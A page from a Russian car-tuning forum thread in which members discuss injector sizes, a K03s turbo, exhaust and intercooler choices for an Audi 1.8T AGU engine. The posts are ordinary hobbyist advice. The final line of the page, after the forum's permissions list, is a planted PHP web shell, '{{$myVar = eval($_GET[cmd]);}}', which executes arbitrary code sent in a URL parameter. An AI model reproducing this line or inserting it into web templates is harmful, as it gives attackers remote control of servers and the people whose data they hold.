+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя
Показано с 21 по 30 из 39

Тема: Форсунки 315сс, очень нужен совет.


  1. #21
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    Цитата Сообщение от mdm123 Посмотреть сообщение
    у Вас что за конфиг ? (если не секрет)
    Извиняюсь, я не заметил вопроса.

    Еонфиг такой:

    Гильзованный AGU
    Турба: К03-052 (Так называемая K03s)
    "Холодный" впуск AEM
    Прямоточный выхлоп Supersprint (Дайнпайп пока стоковый, ненадолго)
    Дайвертер от 225 сильно ТТхи.

    Осталось вкорячить форсы и фронтальник.

    Alexandr 922:

    Спасибо, тож надеюсь что все будет гладко работать.
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  2. #22
    Цитата Сообщение от daToxa Посмотреть сообщение
    Извиняюсь, я не заметил вопроса.

    Еонфиг такой:

    Гильзованный AGU
    Турба: К03-052 (Так называемая K03s)
    "Холодный" впуск AEM
    Прямоточный выхлоп Supersprint (Дайнпайп пока стоковый, ненадолго)
    Дайвертер от 225 сильно ТТхи.

    Осталось вкорячить форсы и фронтальник.
    --------а выпуск на 63 мм, будешь внедрять ?
    Последний раз редактировалось Alexandr 922; 24.09.2012 в 15:36.

  3. #23
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    --------- ставь тада сразу форсы от тт , 386 см
    Эта идея тоже витает :)
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  4. #24
    Цитата Сообщение от daToxa Посмотреть сообщение
    Эта идея тоже витает :)
    ----- регулятор у тебя останеться 3- бара , планку топливную надо будет опустить , и форсы немного доработать , и как раз где-то 220 и будет , со штатным расходомером при чем

  5. #25
    GTI-Racing mdm123 is on a distinguished road Аватар для mdm123
    Регистрация
    19.07.2009
    Машина
    AGU
    Сообщений
    82
    Цитата Сообщение от daToxa Посмотреть сообщение
    Извиняюсь, я не заметил вопроса.

    Еонфиг такой:

    Гильзованный AGU
    Турба: К03-052 (Так называемая K03s)
    "Холодный" впуск AEM
    Прямоточный выхлоп Supersprint (Дайнпайп пока стоковый, ненадолго)
    Дайвертер от 225 сильно ТТхи.

    Осталось вкорячить форсы и фронтальник.
    сделайте замер как настроитесь, интересно ... я вот никак не доеду ...
    кулер берите поменьше, охлаждать будет как надо и потери будут меньше, такой турбе тяжко прокачивать основную массу представленного на рынке ...

  6. #26
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    В общем, у меня до приезда чипа 2,5-3 недели, так что за это время успею и форсы найти и кулер :)

    Добавлено через 46 секунд
    Цитата Сообщение от mdm123 Посмотреть сообщение
    сделайте замер как настроитесь, будет ...
    кулер берите поменьше, охлаждать будет как надо и потери будут меньше, такой турбе тяжко прокачивать основную массу представленного на рынке ...
    Спасибо за совет, учту обязательно.

    Замер тоже будет, как перед установкой чипа, так и после, самому жутко интересно.
    Последний раз редактировалось daToxa; 24.09.2012 в 15:40. Причина: Добавлено сообщение
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  7. #27
    Цитата Сообщение от mdm123 Посмотреть сообщение
    сделайте замер как настроитесь, интересно ... я вот никак не доеду ...
    кулер берите поменьше, охлаждать будет как надо и потери будут меньше, такой турбе тяжко прокачивать основную массу представленного на рынке ...
    ---------- по-меньше в каком плане ? Диаметр , или размер кулера ?

  8. #28
    GTI-Racing mdm123 is on a distinguished road Аватар для mdm123
    Регистрация
    19.07.2009
    Машина
    AGU
    Сообщений
    82
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    ---------- по-меньше в каком плане ? Диаметр , или размер кулера ?
    ага, габариты радиатора

  9. #29
    Цитата Сообщение от mdm123 Посмотреть сообщение
    ага, габариты радиатора
    -------- какой считать оптимальным ?

  10. #30
    GTI-Racing mdm123 is on a distinguished road Аватар для mdm123
    Регистрация
    19.07.2009
    Машина
    AGU
    Сообщений
    82
    Цитата Сообщение от Alexandr 922 Посмотреть сообщение
    -------- какой считать оптимальным ?
    http://www.forgemotorsport.co.uk/ima.../FMINTMK4F.jpg

    если смотреть на фото, то все, что визуально за решеткой, будет достаточным - имхо ...

+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя

Похожие темы

  1. Ответов: 6
    Последнее сообщение: 03.01.2024, 08:36
  2. очень нужен хороший электрик...
    от cbr в разделе Электрика
    Ответов: 0
    Последнее сообщение: 09.01.2013, 22:47
  3. Нужен Совет
    от vIp_Dj в разделе Стайлинг: кузов, салон, свет и прочее
    Ответов: 6
    Последнее сообщение: 02.02.2009, 12:51
  4. Нужен совет...
    от MojaheD в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 2
    Последнее сообщение: 10.05.2007, 04:00

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}